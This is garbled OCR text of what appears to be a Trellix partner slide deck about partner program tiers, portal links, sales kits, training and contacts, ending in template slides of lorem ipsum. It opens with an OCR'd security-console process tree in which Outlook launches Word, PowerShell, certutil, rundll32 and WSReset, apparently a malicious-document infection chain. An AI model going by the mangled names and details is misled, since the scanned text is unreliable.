Y radD4F96.tmp.exe
¥ emd.exe
Type
v powershell.exe
cartutil.
e Parent procass OQUTLOOK.EXE
' WSReset.exe
¥ rundii32exe =
Command Line "C\Program Files (xB6)\Microsoft Office\Dffice] SAWINWORD EXE" /n *C:\L b ache\Content Outiook\LQYW2: 10
vV rundli3Z.ene d.doc” fo **
BbowliP.exe
BbewUP.exe Process 1D 16184
BbowUP.exe
cmd.exe User Account barty bushes
BbcwiiP.exe
il wioa Start Time May 1, 2024 7:46:38 AM i


https://docs.google.com/file/d/1HP_sIlYdH6RfiJQ_Hfxi3VJ2tlkYD6F-/preview

TrelhxX

Partner and
SE Tools

Endpoint Security



Types of Partners

&

SOLUTION
PROVIDERS

{mr o

. o o Trelix Xtend

OEM & SECURITY

EMBEDDED ADVISORS

mames 1 Trellix Xtend
Levels Certifications | Certifications

PA RT N E R Collaborate 4 4

/
/
/
s
-
-
~
~
N

PROGRAM SN SN
Growth 1 1
—_ & © Distribution 4 4
MARKETPLACE SECURITY MSSP 4 4
INNOVATION
ALLIANCE

&

TrelhiX BECOME

A PARTNER
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Trell

Partner Success Engines

Profitability
Programs

00
-

Demand
Generation &
Marketing Support

Trellix
University

&

Dedicated
Technical & Sales
Resources

@

The Hive

K

Tools &
Resources

Partner Care
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Call to Action Buttons

Trellix Deal Partner
University Registration Success Kit

Updated Navigation

Tre"lx Xtend Partner Program  Opportunity Dashboard ~ Promos and Profitability =~ Content Library ~ Support  Profile K

————————————

TreliX

Updated
Quick Links

Trellix Quick Links

o Customer Service

5
a Request

Support
O ServicePortal

Technica
% Resources




Trellix Partner Portal

https://partners.trellix.com

/
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-
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~
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Technical Technical

Xtend Partner Opportunity Promos and Content

Sales Tools Documentatio

Ordering

Support &

Program

D ————

— Overview

S

) ———————

Program
Guide

S

——————

— Newsletter

TreliX

Dashboard

— Registration

|

——————

— Management

|

Profitability

D ——————

Deal
Registration
—eeee

——————

— Renewals

—eeee
)
Global Sales
Plays
—eeee

T,
Rebates
Guideline and
Portal
| ——

D ——————

— MDF

Library

D ————

Trellix
Platform
| ——
S
Sales
Resources
| ——
S

Resource
Library

|

. Quote and
H e || R e
Policies
| | Corporate || End User
Strategy Purchase Policy
Product

| Solution Guides

Price Books

Sales Plays

NFR Ordering

n Portals

Services

Cloud Lab
Access

Customer
Success Plans

Expert Center

Consulting
Services

Trellix Market guoc;ﬂﬂg
B Place T roduct
Requirements
 EEEEE—
3 pParty
Research
—




Trellix Partner Portal — Sales Kits

vider/product-sales-kits.html
Product Sales Kits will be updated frequently

/
/
/
s
-
-
~
~
N

Partner Portal — Solution Provider Trellix.com

Trel IIX Xtend Partner Program  Opportunity Dashboard ~ Promos and Profitability ~ Content Library ~ Support  Profile Q

Partner Portal — Solution Provider Trelix.com

Tre"lx Xtend Partner Program  Opportunity Dashboard ~ Promos and Profitability =~ Content Library ~ Support  Profile Q

Product Sales Kits

Trellix Quick Links
HI%J Onboarding
¢ salesforce
% Marketing
Events

Sunny days for MDF, Rebate and

Levelling come October 9!

The Trellix Hive is a busy place! A new look and feel across MDF,

How to Sell Email Security

How to Sell Pitch Decks Data Sheets
Rebate and Leveling sections, going live Oct 9. o 2 = . . : i g
Customer Please look out for emais with reminders, trainings and more! Sales Play Training - Email Security &2 Customer Overview Deck - Email Trellix Email Security - Cloud +
& Assets & How to Sell Email Security + Security L Trellix Email Security - Server L
Entitlemeiits Value Discovery Guide - Customer Overview Deck - Trellix Collaboration Security -
Gustomer Email Security + Collaboration Security + Executive Brief +
&C‘ Service Sales Play Training - Collaboration How Email Security Prevents Trellix Intelligent Virtual Execution
Request

Support
ServicePortal

Technical
Resources

Security

How to Sell Collaboration Security +
Value Discovery Guide - IVX for
Collaboration Security +

Ransomware (video) 4
How Trellix Email Security Prevents
Ransomware +

avx) £

Price Books Competitive Intelligence 3rd Party Validation & Product Product training and demos
Service Provider Deal Product Sales Trellix Email Security vs Proofpoint L Testing Trellix Certified Architect: Email
Partners Registration Kits Trellix Email Security vs Microsoft SE Labs Report + Security 4
Battlecard £+ How to Use SE Labs Report with Trellix Service Provider: Email
Getting Started Trellix Email Security vs Microsoft Customers (video) 4 Security &
Competitive Positioning £ SE Labs Conversation Guide + SE Demo Kit =
iAsset Online

ICIIA

Trellix Email Security vs Proofpoint
Competitive Positioning +

SE Labs Fact Sheet L
IDC Vendor Spotlight on Collaboration
Security L+



https://partners.trellix.com/partner/en-us/solution-provider/product-sales-kits.html

Trellix Join the Trellix Cyber League today!

U N I V I R s I I Y Unlock your potential in the Trellix Cyber League.

/
/
/
7
-
-
~
~
N

Ready Badge Explore

v a
1DO #

GUUTI'WOIK @
@ ‘\\ V)

All Badges are valid for 1 year or until a new version is released (wWhichever comes first)
Must meet enablement requirements within 90 days of joining program

Service

Orientation Xtend Program Infrastructure

Video

Provider

N\,

Access through Partner Portal or
https:/training.trellix.com

Same login and password as the Trellix Partner Portal

Trelln! Contact PartnerCare@Trellix.com with login issues



https://training.trellix.com/
https://training.trellix.com/
mailto:PartnerCare@Trellix.com

Trellix Partner SE Technical Bookmarks

/71 11TV NNNNSS

Product Technical Documentation Portal Cloud Lab
- Product Documentation: - CrossFire (ASH):
- https://docs.trellix.com/ - https://login.trellix.com/

Administration Guides - MDemo:

Deployment Guides - https://trellix-mdemo.skytap-portal.com/
System Security Guides

Release Notes - Consolidation in progress...
Hardware Guides

Reference Guides

Communication Expert Center
Knowledge Base

Partner Care Team Forum

- partnercareemea@trellix.com - Trellix-F Community:

- https://community.fireeye.com/
- MSP Partner Care Team - Trellix-M Community:

* msppartnercare@trellix.com - https://communitym.trellix.com/
Consolidation in progress...

TrelliX



mailto:partnercareemea@trellix.com
mailto:msppartnercare@trellix.com
https://community.fireeye.com/
https://communitym.trellix.com/

TrelhxX

Point of
Contacts

Endpoint Security



-Contact us

Email

partnercareemea@trellix.com

TreliX



Thank you for your

Participation

TreliX
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TrelhxX

Section Layou
Section Layou

Optional subtitle



‘Quote, lorem ipsum dolor sit
amet, consectetur adipiscing
elit. Ut sed tortor sit amet
sem scelerisque lobortis.”
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Optional Attribution
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Big Statement Layout

Optional subtitle
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Sidebar
with
Content

Optional subtitle

—o7/ /71 LAVNANNSNSSSNNN\AN\N\ LN [/ /27—
Lorem ipsum dolor sit amet,
consectetur adipiscing elit

Ut sed tortor sit amet sem
scelerisque lobortis

» Sed lobortis elit sed tempor

TrelliYX

1)

2)

3)

4)

5)

First Level: Headline
Optional brief description

First Level: Headline
Optional brief description

First Level: Headline
Optional brief description

First Level: Headline
Optional brief description

First Level: Headline
Optional brief description



Half Photo
Right Layout

Optional subtitle

—o7/7 /711 L VANANNNSSSNN\N\N\\NV\ | [/ /-

Lorem ipsum dolor sit amet, consectetur
adipiscing elit. Ut sed tortor sit amet sem
scelerisque lobortis. Sed elit sed tempor
ultricies.

TreliX



Half Photo
Left Layout

Optional subtitle

=777 1 I VANANNNSSSNN\\N\NVNLV I/ V77—

Lorem ipsum dolor sit amet, consectetur
adipiscing elit. Ut sed tortor sit amet sem
scelerisque lobortis. Sed elit sed tempor
ultricies.



Photo Banner
Right Layout

Optional subtitle
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Lorem ipsum dolor sit amet, consectetur
adipiscing elit. Ut sed tortor sit amet sem
scelerisque lobortis. Sed elit sed tempor
ultricies.

TrelhiX



Photo Banner
Left Layout

Optional subtitle
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Lorem ipsum dolor sit amet, consectetur
adipiscing elit. Ut sed tortor sit amet sem
scelerisque lobortis. Sed elit sed tempor
ultricies.




Photo Bottom Layout

Optional subtitle




Photo Top Layout

Optional subtitle

TreliX



